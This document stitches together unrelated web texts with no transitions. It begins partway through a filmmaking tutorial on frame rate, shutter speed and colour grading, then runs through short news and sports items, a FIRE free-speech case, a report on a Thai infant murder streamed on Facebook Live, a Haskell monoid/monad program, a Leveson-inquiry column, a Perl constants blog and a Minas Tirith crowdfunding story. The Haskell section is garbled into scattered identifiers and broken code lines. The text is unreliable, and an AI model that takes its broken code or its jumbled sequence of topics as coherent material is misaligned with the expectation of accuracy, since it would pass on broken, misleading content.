The main giveaway that your film was not shot at 24p is the lack of motion blur. Video footage is very clinical and sterile looking, and can be almost too perfect at times. Older video camcorders only shot at 59.94i (which is about 30 frames a second) and it created a look that was very realistic looking, but not cinematic. If someone were to walk through the frame for instance, every last frame of the footage would be perfectly clear. This sounds like it would be ideal, but it’s actually not. Real film exhibits motion blur when an object is moving through the screen, and in order to get that organic motion blur on your footage, be sure to shoot at the right frame rate. The film “The Hobbit” was shot at 48 frames per second and as a result many viewers did not enjoy watching the film. It looked too much like video and not enough like the surreal world of film. Here is a shot from “Pirates Of The Caribbean” exhibiting some normal motion blur:
3 – Shutter Speed
Make sure that you use the 180 degree rule when setting your shutter speed. This means when you set the shutter speed on your camera, set it to exactly double that of your frame rate. So if you are shooting 24p, make sure your frame rate is at 1/48 or as close as possible. Many DSLR’s only have a 1/40 or 1/50 setting, so experiment with those two options and see what looks best to you. Most cameras will work better with 1/50, but some (The Lumix GH3 for example) actually seem to work better at 1/40.
Having the wrong shutter speed can be pretty detrimental to your footage. If it’s too slow (1/20 for instance), your footage will look like it is strobing and ghosting as images trail off throughout the screen. And if your shutter is too high (1/100) your image will look like it’s been speed up, almost as if it’s in fast forward. It’s important to note that there are times that you do want to set the shutter speed at an unusually high or low setting, and even when shooting on film, this is a technique that is sometimes used to get a desired stylistic effect. But for 95% of what you shoot, the chances are you’ll want to stick with the 180 degree rule. This also means that if you shoot at a higher frame rate for slow motion (60p let’s say), than you will need to set your shutter accordingly. In that example it would be set at 1/120.
4 – Camera Movement
Not enough filmmakers seem to pay attention to this, but camera movement is definitely one of the most important aspects of getting a film look. Camera movement can include everything from sticking your camera on a tripod and deciding to have no movement at all, to going handheld, to putting your camera on a jib and getting a crane shot. There isn’t a specific movement that will make your film look more cinematic, but the more importance you place on camera movement, the more cinematic your film will feel. Some indie films suffer from very poor camera movement and may contain scenes that are partially shot handheld and partially on a tripod. This will make your film very difficult for your viewers to watch.
Also, make sure that you choose the right type of camera movement for each scene. If your scene doesn’t call for handheld work, than don’t shoot it that way. It will only cheapen the look of your final product and make the audience feel less connected to your piece as the visual elements are not properly tied together with the narrative storyline and flow.
5 – Don’t Blow Out The Highlights!
A big giveaway of digital footage are blown out highlights. Since most digital cameras have much less dynamic range than film, the are prone to clipping or blowing out the bright areas of the frame. On film, when this happens, it’s actually fairly pleasant to look at, and many directors, like Stephen Spielberg for example, actually intentionally will blow out some shots to get a stylized effect –
Unfortunately on video, blown out highlights look really bad. The light doesn’t bloom or roll off the same way that it does on film, and your image starts to look very harsh and synthetic. To deal with this, just make sure that you aren’t overexposing anything in your frame – unless it is something so bright (like the sun or a lightbulb) that it has to be blown out. Bring your exposure down far enough that the bright areas of the frame still have detail in them, and that will already put you in a better place. What may happen then though, is your subject or foreground may be too dark in some areas. You then have the choice of either leaving it as is, and allowing your subject to be in silhouette, or alternatively you could bring in more light to fill out the scene and lift up the shadowy, darker areas.
6 – Framing
I can’t stress enough how important proper framing is to a cinematic image. So many of the things on this list (which are all equally important) get completely thrown out the window with bad framing. If you have a well lit shot with a nice shallow DOF, but the subject isn’t framed right, than everything else you’ve done gets diminished. Great framing not only will make your video feel more filmic, but it will make your film better as a whole. The framing of an image can tell a story in itself. Just take a look at this frame from The Kings Speech, where a very unusual framing was utilized to create a sense of emptiness in the characters life –
7 – Lighting
Great lighting can make or break your shot, no matter what medium you’re shooting on. That said, certain formats – especially film, are much more forgiving with poor lighting than digital. Some low budget filmmakers are tempted to just pick up a digital camera and start shooting without thinking enough about the lighting of their scenes. Doing this can be another huge giveaway of a very low budget and amateur production. You by no means need to spend a huge amount of your budget on lighting if you don’t have the money for it, but you need to pay as much attention to proper lighting as possible. Whether you’re shooting with a large lighting setup or just using bounce boards and practical lights, it’s the attention to detail that counts. No amount of color grading will ever be able to save a shot that is just poorly lit, so make sure that your shots are not only exposed properly, but also lit in a way that sets the mood and tone of your scene.
I’m not going to delve too deeply into specific lighting techniques as there are too many to address here, but check back soon as in the coming weeks I will be doing a lighting tutorial that will go into more detail on this.
8 – Color Correction
In post-production and specifically while color grading, you can do a lot to make your video look more filmic. Ideally you’ll want to decide on a look before hand and then bring your footage into some grading software (I recommend DaVinci Resolve, but anything will do really) and start to tweak your settings accordingly. A big mistake that I see often is amateur filmmakers will over-do the color on their film. They will go in and apply a heavily stylized look to every shot in the film, making it look more like a music video than a feature. A good starting point when coloring is to make your footage look as natural as possible. Once you’ve gotten your white balance and exposure to the right spot, you’re already most of the way there. Most films (action and horror genres aside) are actually not that stylized. They usually have very accurate colors and aren’t covered in a wash that makes them feel unnatural. With that said, feel free to add warmth or cool down your footage as needed to suit the mood of the film, just don’t go overboard.
You’ll also want to consider your black levels and contrast. Film can be noticeably lower contrast than video, and you can do a lot in post to achieve this look. First off you could try to simply reduce your contrast setting (but don’t go too far with it), and then lift your black levels just a touch. Make sure that your blacks aren’t too “crushed” (or dark) in the wrong areas, and you will be well on your way to finishing your film look. Take a look at this shot from Upstream Color which was graded quite well to look more filmic, and has some lighter black levels –
You can also use Color Correction LUTs to help you achieve this type of result more efficiently.
UPDATE: I recently released 6 Cinematic LUT Packs, which have been carefully designed to help you achieve an organic, filmic look in post-production. They work well with footage from any camera, and I highly recommend them for filmmakers and cinematographers looking to achieve bold color results, while minimizing time in post-production. Be sure to check them out by clicking here!
Below is a sample video of 3 of the LUT packs from the “Genre Edition” in action. Take a look –
9 – Film Emulation
This is not a necessary step, but one that I feel can really put the icing on the cake after you’ve followed everything else on this list. Film emulation is a technique that literally allows you to apply the look of a specific film stock to your footage, adjusting the colors and grain to match that of your chosen film stock. Like color correction, you don’t want to go overboard with this technique, but when used tastefully it can make a world of difference. There are many LUTs, software programs, and plugins available that can help you emulate the look of film on your digital footage, so be sure to experiment with different options to find the one that is right for you.
Here’s a quick before/after sample of a shot before and after applying film emulation with grain –
Before
After
Final Thoughts
Although there is no exact formula to get the “film look”, by following all of the above steps you will be headed in the right direction. Watching a movie shot on film feels like you’re looking into a parallel universe. It almost looks the same as real life, but there are these subtle differences that allow it to feel more surreal, dreamier and pull you as the audience member into it. Doing this digitally is achieved by a combination of many factors, starting with how you set up your camera and finishing in the edit suite.
Be sure to check out my article on 10 Tips For Shooting With Natural Light, as much of the article applies to getting a cinematic looking image as well.
Below is a teaser for my latest film “Brother Sister”, which I used these techniques with:
Check back soon for loads of new articles on the cinematic look, lighting tips, color grading techniques, and of course new Cinematic LUT Packs!
A delegation from the country's Ministry of Youth and Sports plans to meet Confederation of African Football (CAF) president Issa Hayatou to examine a report by the Morocco Health Ministry into the possible dangers of hosting the event amid the Ebola crisis sweeping West Africa.
Last month, the Moroccan government ordered a detailed report into the possibility that the tournament, scheduled to run from January 17 to February 8, might lead to the disease spreading.
More than 4000 people have died from the highly contagious virus in Guinea, Liberia, Nigeria and Sierra Leone, but Morocco has not reported any cases.
He had a pretty good idea as to the purpose of the call, but it didn't make the clock move any faster.
"It was the slowest 15 minutes of class that I've ever sat through," Huesman said Monday.
For good reason.
Huesman is one of 40 quarterbacks who have been invited to be counselors at the prestigious Manning Passing Academy, which is run by Archie and Super Bowl-winning sons Peyton and Eli. The event at Nicholls State University in Louisiana runs from Thursday through Sunday and is for rising eighth-graders through seniors, focused on a variety of skills.
Huesman won't be alone from the Chattanooga area. Former Cleveland High School standout Chad Voytik, who will be a redshirt junior at the University of Pittsburgh, also has been invited.
Pittsburgh quarterback Chad Voytik (16) runs past Syracuse linebacker Dyshawn Davis (35) in the first quarter of an NCAA football game, Saturday, Nov. 22, 2014, in Pittsburgh. Pittsburgh won 30-7. Pittsburgh quarterback Chad Voytik (16) runs past Syracuse... Photo by Associated Press /Times Free Press.
Voytik threw for 2,233 yards and 16 touchdowns in his first season as a starter for the Atlantic Coast Conference program, while adding 466 yards rushing. He completed 61 percent of his passes and was third in the ACC in pass-efficiency rating.
When he was a redshirt freshman, an injury to starting quarterback Tom Savage during the Little Caesars Bowl pushed him into the lineup, and he engineered a six-play, 98-yard drive to put the Panthers ahead and made a 19-yard scramble to put Pitt in position for the winning field goal.
In high school, he was a four-star college prospect and an Elite 11 quarterback.
Huesman already has put himself in the conversation as the most accomplished quarterback in UTC history. He ranks first in career wins (23) and passing touchdowns (52), fifth in passing yards (6,080) and first in completion percentage (.674). He's also rushed for 2,807 yards, which is fourth, and tied for first all-time in touchdowns scored (30).
During the 2014 season, he threw for 2,731 yards and 23 touchdowns, completing 68.5 percent of his passes, which led the Football Championship Subdivision. He also ran for 1,009 yards and 14 touchdowns as the Mocs went 10-4 and advanced to the national quarterfinals.
The former Baylor School star's passing numbers were even better against FCS competition, where he completed over 70 percent of his passes for 2,496 yards and 21 touchdowns. Only three of his eight interceptions came against 12 FCS opponents, Central Michigan and Tennessee totaling five.
He was named the Tennessee Sports Writers Association's male athlete of the year. His father, UTC coach Russ Huesman, will accept the award in his honor later this week.
Although he and Voytik are going to the Manning event as counselors, they will have some time to train with the Mannings.
"There are going to be two Hall of Fame quarterbacks there, so I just want to learn everything I possibly can from them," Huesman said. "Footwork, throwing mechanics, knowledge of the game — I just want to be around them, see how they carry themselves and learn as much as I possibly can."
Huesman already has digested some knowledge from Peyton, having had the opportunity to work out with the Denver Broncos star two days last week. It started with a call on Tuesday night, asking the senior Moc to round up some receivers.
"It was pretty much a dream come true," Huesman said. "It was so much fun; as a young quarterback, I can't think of anybody else I'd rather work out with. I learned a lot from him in those two days, and it made me feel more comfortable about going this week."
Manning led the Mocs through a lot of situational work while helping tutor Huesman on some footwork, drop work and technique drills.
"There were a few drills I'd never seen before," Huesman said. "It was pretty fun and informative for me; the guy's such a hard worker, and his workout is very methodical and fun to work.
"I'm definitely going to incorporate them into my workouts this summer and next spring."
There were some initial nerves when Huesman started to think about attending the prestigious academy, but after some thought, he realized he was ready for this opportunity.
Plus, a few words from Peyton didn't hurt, either.
"He told me he was looking forward to having me at camp next week," Huesman said. "Clearly the attention to detail made me feel great about going."
Coach Huesman said the biggest thing for his son will be the opportunity to see how he stacks up against big-name college quarterbacks from Football Bowl Subdivision programs. The full list has yet to be released, but there likely will be a number from ACC, Pac-12, Big Ten, Big 12 and SEC schools.
"He'll get a chance to see how his arm strength compares and how he compares size-wise," Coach Huesman said Tuesday. "There are some big names that are going to be there, so he can see how he compares and go from there. He's going to go there, do the right things, work hard and represent UTC well.
"I'm more excited about him getting to do this as a coach than as a dad, but it's still pretty cool."
"I was expelled from Syracuse University for comments that I posted on Facebook."
Syracuse University School of Education graduate student Matthew Werenczak was just trying to finish his masters degree early when he decided to take a summer course that involved tutoring at a local middle school. But after a comment he posted on Facebook about an experience he had at the school caught the attention of the Syracuse administration, Werenczak would be lucky if he graduated at all.
On the first day of Werenczak’s tutoring program at Danforth Middle School, he and another Syracuse student were introduced to their students by a member of the Concerned Citizens Action Program (CCAP). They happened to be the only two white people in the room. Shortly after the introduction, in the presence of Werenczak and the other white student teacher, the CCAP member, who is black, said that he thought that the city schools should hire more teachers from historically black colleges.
"This [comment] offended me, as well as the other student teacher in the room," says Werenczak in FIRE’s latest video. "It just seemed inappropriate considering that the two student teachers happened to be from Syracuse and a not a historically black college."
So Werenczak took to Facebook to write about the incident.
"Just making sure we’re okay with racism," wrote Werenczak. "It’s not enough I’m … tutoring in the worst school in the city, I suppose I oughta be black or stay in my own side of town."
"I was kind of trying to see if my friends or other peers, classmates would have a similar reaction to what I had," says Werenczak about the reason for his posting the comment.
The reaction Werenczak didn’t see coming was an expulsion from the School of Education for the Facebook comments, which the school described as "unprofessional, offensive, and insensitive." The school told Werenczak he could avoid expulsion by voluntarily withdrawing, or he could fulfill several requirements, including mandatory "anger management" counseling, just to gain a chance of "re-admittance."
When Werenczak fulfilled the requirements and was still not readmitted to the school, he contacted FIRE for help.
"Hours after FIRE took the case public, Syracuse University backed down and I was brought back [into the program] and later graduated."
For a complete transcript, please visit: http://thefire.org/article/15780.html
For more details on this case, please visit: http://thefire.org/case/887.html
Jiranuch Trirat stumbled across the footage of her 11-month-old child being killed by her boyfriend
The distraught Thai mother of a baby girl killed by her boyfriend in a murder he broadcast on Facebook Live has described the harrowing moment she stumbled across the video and rushed to alert police.
The killing on Monday caused revulsion in Thailand and around the world, sparking renewed debate about what can be done by social media companies to more quickly remove live broadcasts of violent crimes, suicides and murders.
Jiranuch Trirat, a 22-year-old from Phuket, was left devastated after her boyfriend, Wuttisan Wongtalay, hanged their 11-month old daughter Natalie from the side of an abandoned building before taking his own life.
Live and death: Facebook sorely needs a reality check about video Read more
He broadcast Natalie’s murder on Facebook Live, a video that Jiranuch came across that evening.
“I was with my older brother and he was logging onto his Facebook,” she told Agence France-Presse on Thursday from a temple in Phuket where daily prayers were being held for Natalie ahead of her cremation on Saturday.
“He was scrolling down and suddenly we saw the live broadcast. I turned to take a look and saw him [Wuttisan] drop my daughter with the rope and I couldn’t continue to watch.”
The horrifying realisation of what was unfolding sparked a search by relatives and police, with the bodies of Wuttisan and Natalie found just a few hours later.
The video remained on Facebook for around 24 hours, prompting calls for the social network to move more swiftly to take down clips of grisly crimes and killings.
But Jiranuch said she harboured no ill will towards Facebook.
“I don’t blame Facebook. They are not part of the problem, we can choose to broadcast happiness or sadness,” she said.
What prompted Wuttisan to take such a horrifying step remains a mystery.
Jiranuch said the two frequently argued, particularly over her ex-husband with whom she has a son nicknamed Sanook – the Thai word for fun.
“He often abused my son Sanook,” she said.
But Wuttisan had always been kind to their daughter Natalie, she added, looking after her in the day while she took classes at a nearby school.
As for what her boyfriend did, Jiranuch said: “I forgive him because holding onto anger for a long time will not get my daughter back.”
The killing was the latest gruesome act to be filmed and published on Facebook.
Last week Facebook chief Mark Zuckerberg vowed to address the issue after a man in Ohio broadcast footage of himself shooting a stranger dead.
join
join
Monoid
Monad
one :: m
mult :: m -> m -> m
m (m a b) c == m a (m b c)
mult one x == x
x
one
x
one
() -> m
mult
> {-# OPTIONS_GHC -fglasgow-exts #-}
> import Control.Monad
> import Test.QuickCheck
> class Monoid m where
> one :: () -> m
> mult :: (m,m) -> m
law1_left == law1_middle
> law1_left,law1_middle,law1_right :: m -> m
> law1_left = mult . (one <#> id) . lambda
> law1_middle = id
> law1_right = mult . (id <#> one) . rho
law2_left x = law2_right x
> law2_left,law2_right :: ((m,m),m) -> m
> law2_left = mult . (mult <#> id)
> law2_right = mult . (id <#> mult) . alpha
> lambda :: a -> ((),a)
> lambda x = ((),x)
> rho :: a -> (a,())
> rho x = (x,())
> alpha :: ((a,b),c) -> (a,(b,c))
> alpha ((x,y),z) = (x,(y,z))
(a,b)
a
b
> (<#>) :: (a -> c) -> (b -> d) -> (a, b) -> (c, d)
> (f <#> g) (x,y) = (f x,g y)
f <#> g
f
g
(a,b)
law2_left ((x,y),z) == mult $ (mult id) ((x,y),z) == mult (mult (x,y),z)
law2_right ((x,y),z) == mult $ (id mult) $ alpha ((x,y),z) == mult (x,mult (y,z))
mult (mult (x,y),z) == mult (x,mult (y,z))
lambda
rho
alpha
lambda
rho
alpha
Int
> instance Monoid Int where
> one _ = 1
> mult (a,b) = a*b
> check1 = quickCheck $
-> law1_left n == law1_middle (n :: Int)
> check2 = quickCheck $
-> law1_left n == law1_right (n :: Int)
> check3 = quickCheck $
-> law2_left n == (law2_right n :: Int)
Another Category in the World of Haskell
f
g
f a -> g a
> type (f :<*> g) x = f (g x)
f a
g a
f (g a)
> (<*>) f g = f. fmap g
fmap g . f
f <#> g
f
g
f <*> g
f
g
> data Id x = Id x deriving Show
> instance Functor Id where
> fmap f (Id x) = Id (f x)
> lambda' :: Functor f => f a -> (Id :<*> f) a
> lambda' x = Id x
> rho' :: Functor f => f a -> (f :<*> Id) a
> rho' x = fmap Id x
> alpha' :: f (g (h a)) -> f (g (h a))
> alpha' = id
> class Functor m => Monoid' m where
> one' :: Id a -> m a
> mult' :: (m :<*> m) a -> m a
> law1_left',law1_middle',law1_right' :: m a -> m a
> law1_left' = mult' . (one' <*> id) . lambda'
> law1_middle' = id
> law1_right' = mult' . (id <*> one') . rho'
> law2_left',law2_right' :: ((m :<*> m) :<*> m) a -> m a
> law2_left' = mult' . (mult' <*> id)
> law2_right' = mult' . (id <*> mult') . alpha'
> data Monad m => TranslateMonad m a = TM { unTM :: m a } deriving (Eq,Show)
> translate :: Monad m => m a -> TranslateMonad m a
> translate x = TM x
> instance (Monad m,Functor m) => Functor (TranslateMonad m) where
> fmap f (TM x) = TM (fmap f x)
> instance (Functor m,Monad m) => Monoid' (TranslateMonad m) where
> one' (Id x) = TM $ return x
> mult' (TM x) = TM $ fmap unTM x >>= id
Monad
Monoid'
QuickCheck
> instance Arbitrary a => Arbitrary (Id a) where
> arbitrary = liftM Id arbitrary
> instance (Monad m,Eq (m a),Arbitrary (m a)) => Arbitrary (TranslateMonad m a) where
> arbitrary = liftM TM arbitrary
> check4 = quickCheck $
-> law1_left' n == law1_middle' (n :: TranslateMonad [] Int)
> check5 = quickCheck $
-> law1_left' n == law1_right' (n :: TranslateMonad [] Int)
> check6 = quickCheck $
-> law2_left' n == (law2_right' n :: TranslateMonad [] Int)
one
mult
Appendix
MonadPlus
Confession
(forall x.a x -> c x) -> (forall x.b x -> d x) -> (forall x.a (b x) -> c (d x))
Links
Such were the rather haughty opinions of an unnamed cabinet minister, recounted a few weeks ago by the Observer's political editor Toby Helm. Of course, relatively few people can probably tell you what Craig Oliver does, or when Fred Michel's texts reached their peak of absurdity. But that's not exactly the point: the Leveson inquiry's abiding story, of a callow Westminster elite hopelessly in thrall to an increasingly disgraced newspaper empire, is inevitably oozing into the ordinary world, and the relevance of the wider story to public opinion will only grow. When some of the government's one-time friends and former aides start appearing in a real court, just you wait.
In the meantime, the inquiry's schedule for this week has the look of an extended political blockbuster: George Osborne, Gordon Brown, John Major, Ed Miliband, Nick Clegg, Alex Salmond and David Cameron, all called to explain their dealings with the press, and the Murdochs in particular. Cameron will appear on Thursday, and has plenty of questions to answer – though anyone interested in a much more formidable politician should also be glued to their TV the day before.
Salmond's standing in Scotland is built on the idea that he is not just a breed apart from Westminster politicians, but a self-confident grown-up in a world of mere kids – but as with the more pantomimic Donald Trump, the SNP leader's dealings with the Murdochs suggest he may also have slightly less heroic aspects. I was in Scotland just as the SNP's supposed omnipotence was called into question by Labour's surprisingly decent showing in last month's local elections: the Murdoch effect was undoubtedly in there somewhere.
What that should tell Westminster politicians is simple enough: that Leveson is relevant to the real world – but for now at least, its place in the public mind is less to do with who said what to whom than matters of perception. Certainly, a spectacle mostly glimpsed on evening news bulletins only reaffirms one of our era's most ingrained beliefs: that the political class is just that – a cloistered, incestuous bunch, whose obligations to courtiers too often outweigh the supposed demands of democracy. In that sense there is a salience to small but very telling human details: Tony Blair's anointing as a Murdoch godparent, Cameron and his "lol" texts, the fact that, according to Rebekah Brooks, her exit in the midst of those grim revelations about Milly Dowler's voicemail was met with messages of sympathy from "Number 10, Number 11, the Home Office, the Foreign Office".
The disgraced way of doing politics into which Leveson is peering is as much about culture as any decisions or policies. Yes, politics is cliqueish by nature, but what does it say about the post-Thatcher era that we have often seemed to be governed and spoken to by a single metropolitan gang, with the Murdochs and their circle at its heart? On this score, I always think of a party thrown less than a year ago by Elisabeth Murdoch and her husband Matthew Freud, mentioned at the inquiry a few weeks back. The setting was their 22-bedroom pile in the Cotswolds: among the attendees were James Murdoch, Rebekah Brooks, Michael Gove, Steve Hilton, Peter Mandelson, James Purnell, Douglas Alexander, David Miliband, Robert Peston, Mark Thompson, and Alan Yentob.
By way of a truly surreal symbol of much the same culture, consider also the events of a single week in August 2008 – when David Cameron met Rupert Murdoch on a yacht moored off the Greek island of Santorini, before the then leader of the opposition took his leave, and the same vessel made its way to Elisabeth Murdoch's 40th birthday celebrations on and around Corfu. There, events transpired that would lead to a heated controversy: Peter Mandelson famously dined with George Osborne, and also stayed in a nearby yacht owned by the Russian oligarch Oleg Deripaska, as a guest of the Swiss-based financier Nat Rothschild – who soon introduced Deripaska to the Conservatives' chief executive, Andrew Feldman. Meanwhile, the credit crunch was kicking in, the fall of Lehmans was only a month away, and Mandelson would be snugly back in government by October. Really: is it any wonder politics has fallen so far?
All this plays into the moment Leveson signifies: the lights suddenly being switched on, and politicians having to at least begin to account for themselves. Fortuitously, it arrives after levels of trust have been corroded by factors both specific, and more generalised: Iraq, the expenses crisis, the way that New Labour began offering an alternative to Tory sleaze and ended up mired in its own version; the fact that Cameron and Osborne seem to have managed much the same journey in only two years.
And it runs far wider than cosy relationships with the press, out into a web of special interests, and in turn into massively important questions of policy. Given that we are talking about a culture that ballooned under New Labour, one set of facts springs instantly to mind: that while the last government was increasingly glued to a world of lobbyists and high living, it did not seem even distantly aware of a snowballing housing crisis, the fact that the issue of immigration was being inflamed by so-called flexible labour markets, or any of the other issues that were corroding its support by 2005, and played their part in its awful thumping five years later. How could it, when it was part of such a rarefied culture?
So how to escape? Imagining a politics completely free of networks of power and influence would be fanciful, but to snigger and scoff at any suggestion that things could be better is to lose any real hope of probity – and simple dignity – ever coming back to the heights of public life. Everyone knows what needs to be examined: not just the ties that bind press and politicians, but party funding (note renewed headlines over the weekend about the Peter Cruddas affair), the role of special advisers, and a style of government that has come to favour back-slapping informality over proper protocol. Whether a professionalised political class can even start to grapple with its own failings is a huge question: that it will have to do so while the economy is in such a state doesn't exactly encourage optimism.
That said, between now and the autumn, demonstrating even the faintest understanding of post-Leveson politics would be easy enough. As a signal of good intent, one or all of the three main parties should cancel their annual conference (the Lib Dems, in fairness, have an internal democracy to see to, though they could at least scale their event down), turn their back on a schmooze-laden ritual that means absolutely nothing to the wider public, and redirect precious energy elsewhere. The bar is closed; the yachts are back in dock. For the first time in far too long, the real world calls.
We regularly encounter lists of constants. Quick examples are HTTP status codes, Virtual Key Codes, lists of error codes and many many more. Regardless of the language you are using, you need a way to use those constants via friendlier symbolic names rather than literal numbers. Among other things, doing so helps with maintenance. If nothing else, it makes code more readable. Also, if, say, ECONNABORTED is 0x35 on one system and 0x53 on another system, you only need to change the definition of the symbolic name in one place instead of trying to figure out if every reference to 0x35 or 53 or even 065 etc in your code refers to that error code.
In C, people have customarily used macro definitions for this purpose. If you really want to be able to get help from the debugger in identifying these constants, you can also use a bunch of const int s or enum s.
In Java, you get to have a class with a bunch of public static final variables.
In Python, there are no constants. You can name a variable using ALL_CAPS to indicate it should be treated as a constant, or you can define a class with just a bunch of getters and no setters. You can also make __setattr__ do nothing. As of version 3.4, Python also comes with an Enum class.
In Ruby, you indicate that a variable is meant to be a constant by capitalizing the first character of its name. The interpreter than emits a warning (not an error) if its value is changed. There is also a neat enum gem you can use.
These are just some examples: I don't mean for this post to be a review of all the ways you can associate symbolic names with a bunch of constants in a variety of programming languages, so I'll move on.
Python and Ruby are similar to Perl in this regard. In Perl, there is really no explicit built in language syntax for declaring variables to be constant. The $ALL_CAPS convention can be found in various modules. E.g.:
$ perl -MSocket=:crlf -e 'print $Socket::CRLF' | xxd 00000000: 0d0a .. $ perl -MSocket=:crlf -e '$CRLF = "\x23"; print $CRLF' | xxd 00000000: 23
At least, in Ruby you get a warning.
Perl also has constant functions. When a function has an empty prototype, and if its return value after optimization and constant folding is either a constant or a lexical scalar with no other references, then the return value of the function is inlined at compile time. That is, if you have:
sub number() { 42 } # ... my $number = number;
then no subroutine invocation occurs at run time, and the assignment is compiled as my $ns = 42 as can be seen in this simple example:
$ perl -MO=Deparse -e 'sub number() { 42 }; my $n = number' sub number () { 42; } my $n = 42; -e syntax OK
The constant pragma provides sugar for defining constant functions:
use constant NUMBER => 42; my $number = NUMBER;
So, if you had a whole bunch of constants you wanted to collect in a module, you could, for example, write:
package Win32::VK; use Exporter qw( import ); our @EXPORT = (); our %EXPORT_TAGS = ( 'all' => [ qw( VK_LBUTTON VK_RBUTTON VK_CANCEL VK_MBUTTON ) ], # etc ); our @EXPORT_OK = ( @{ $EXPORT_TAGS{all} }, # etc ); use constant VK_LBUTTON => 0x01; use constant VK_RBUTTON => 0x02; use constant VK_CANCEL => 0x03; use constant VK_MBUTTON => 0x04; # etc
Incidentally, Win32::GuiTest currently almost does this, but not quite. By not using an empty prototype, the author gives up on the compile time optimization.
In the example above, I used Exporter's import so that I could, in a different module, do:
use Win32::VK qw( VK_LBUTTON ); # ... if ($vk == VK_LBUTTON ) { # ... } elsif ( $vk == Win32::VK::VK_RBUTTON ) { # ... }
This is all well and good until you want to interpolate one of the constants into a string which necessitates either something like
print "The code is @{[ VK_LBUTTON ]}
or
sprintf "The code is %d
", VK_LBUTTON;
Also, you have to do a bit of mental gymnastics every time you encounter such constants used as hash keys. Quick! What do you get when you write
my %h = ( VK_LBUTTON => 'left button' );
Well, it depends. Not to mention the gymnastics one needs to write code to list all the constants and their values defined in a given namespace.
This brings me to my long time favorite module for defining constants: Const::Fast.
Before we get into that, let me digress a bit and mention Importer. I must admit, at first I did not quite get Chad's arguments in support of this module, but, after using Importer a few times, I am sold. With Importer , the example Win32::VK module above would no longer need to import Exporter 's import method to allow other modules to import stuff from it ;-) . Instead, the module would just contain the necessary definitions without the use Exporter qw( import ) . The using module would import what it wants using Importer :
use Importer 'Win32::VK' => qw( VK_LBUTTON );
I find this much cleaner. This way, the code using the constants supplies the machinery to import them, and the code defining the constants need not concern itself with it: It just needs to list what it makes available.
Coming back to Const::Fast ... I first found out about it thanks to Neil Bowers's excellent review of CPAN modules that can be used to define or work with constants. In the benchmarks, Const::Fast wasn't necessarily the fastest, but it was fast enough and it had friendly syntax. In addition to allowing the definition of simple scalar constants, Const::Fast 's syntax allows costant rich data structures to be defined. For example, the following code, despite appearances, does not define a reference to constant hash:
use constant ERROR => { FILE_NOT_FOUND => 42, }; ERROR->{FILE_NOT_FOUND} = 1; # oops
Also, with constant.pm, the "constants" are always in package scope by virtue of the fact that they are subroutines in disguise. This may or may not matter for you, but it does make defining static class constants that cannot be accessed from the outside impossible.
So, here is how I like defining my constants. First, I like to put everything in a single module, say, My::FancyModule::Constants . Then, I like grouping them into hashes. For example, going back to the various Win32 constants defined in Win32::GuiTest , here's what I would have done if I were writing that module from scratch:
package Win32::GuiTest::Constants; use strict; our @EXPORT = (); our @EXPORT_OK = qw( %VK %SW ... ); const our %VK => ( # ... SHIFT => 0x10, CONTROL => 0x11, MENU => 0x12, PAUSE => 0x13, CAPITAL => 0x14, # ... ); const our %SW => ( # ... MAXIMIZE => 3, MINIMIZE => 6, NORMAL => 1, RESTORE => 9, # ... ) # ...
Then, one could use those constants by simply doing:
use Importer 'Win32::GuiTest::Constants' => qw( %VK ); print "The key code is $VK{SHIFT}
If I want to read the constants from a configuration file, that's trivial. If I want to export them to JSON, YAML, INI, or whatever else, that's also trivial. I can interpolate them willy-nilly.
For those who have taken seriously Exporter 's stance against exporting variables, this takes some getting used to. Keep in mind that the admonition is there to make sure you don't write code that willy nilly modifies global variables. However, in this case, the variables we are exporting are not modifiable. Maybe you can convince yourself that the concern really does not apply in this instance. If you try to refer to a non-existent constant, you get an error (albeit during run time) as shown below. The code is snipped for brevity, I just copied and pasted all the constants from HTTP::Status documentation:
use Const::Fast; const my %HTTP_STATUS => map /^HTTP_(\S+)\s+\((\S+)\)$/mg, <<HTTP_STATUS; HTTP_CONTINUE (100) HTTP_SWITCHING_PROTOCOLS (101) HTTP_PROCESSING (102) HTTP_OK (200) HTTP_CREATED (201) ... HTTP_STATUS eval { print "$HTTP_STATUS{DOES_NOT_EXIST}
" } or print "[email protected]
"; eval { $HTTP_STATUS{GONE} = 999 } or print "[email protected]
Output:
Attempt to access disallowed key 'DOES_NOT_EXIST' in a restricted hash at t.pl line 72. Modification of a read-only value attempted at t.pl line 73.
There is, of course, a speed penalty for the convenience. It ranges from almost identical performance to a few percent in favor of constant.pm to constant.pm being about twice as fast, depending the exact method of measurement. I haven't felt the need to study performance as Neil did, as Const::Fast is still fast enough. When I hit a performance issue, the real culprit usually was somewhere else.
Of course, constant.pm is still the right tool to use for debug guards etc. That is, if you have:
use constant USE_LOGGING => 0; # # ... # expensive_logging_call($context) if USE_LOGGING;
the whole conditional will be eliminated at compile time, ensuring zero overhead from logging code when it is disabled.
For all other uses, I have found Const::Fast to be the most convenient way of translating a bunch of constants to Perl. By using Importer, these modules can consist only of the constant definitions and export declarations, and nothing else.
Neat.
PS: You can discuss this post on r/perl.
In J.R.R. Tolkien's fantasy world of Middle Earth, there are few structures that inspire more awe and wonder than the gleaming white city of Minas Tirith. Built into the side of a mountain, Minas Tirith was the massive capitol city/castle of Gondor, the land of Men in the south. It was made up of seven levels and culminated with a powerful citadel at the top. It was the main setting of Peter Jackson's third Tolkien film, The Lord of the Rings: The Return of the King.
A group of architects have launched an audacious crowdfunding campaign called "Realize Minas Tirith," and it aims to build a real, life-sized version of Minas Tirith in southern England. The insanely ambitious project is lead by a man named Jonathan Wilson, and hopes to raise £1.85 billion to make it happen.
Yes, £1.85 billion. That's more than $2.8 billion in U.S. currency.
Impossible? Yeah, it's never going to happen. But it's fun imagining what it would be like if it did.
"We're fully aware of the scale of our ambition, but we hope you realize just how special this project could be," Wilson writes on the campaign page. "We are an ambitious team of architects and structural engineers who are passionate about creating a beautiful, inspirational and fully-functioning replica of Peter Jackson's depiction of Minas Tirith, as seen in his Lord of the Rings films."
Should the project find a miraculous success, Wilson intends to allocate £15 million to purchase land, £188 million for labor, and £1.4 billion for materials. Any leftover funds will go into public services and maintenance, up to the year 2053.
Wilson estimates that it will take about seven years to build the entire city, with hopes to get underway next year and be done by 2023. The city would have a variety of properties that include both residential and commercial spaces, with goals being "sustainable growth," "high quality of life," and "the most remarkable tourist attraction on the planet." So this Minas Tirith replica would be part livable city, part theme park (but without the rides).
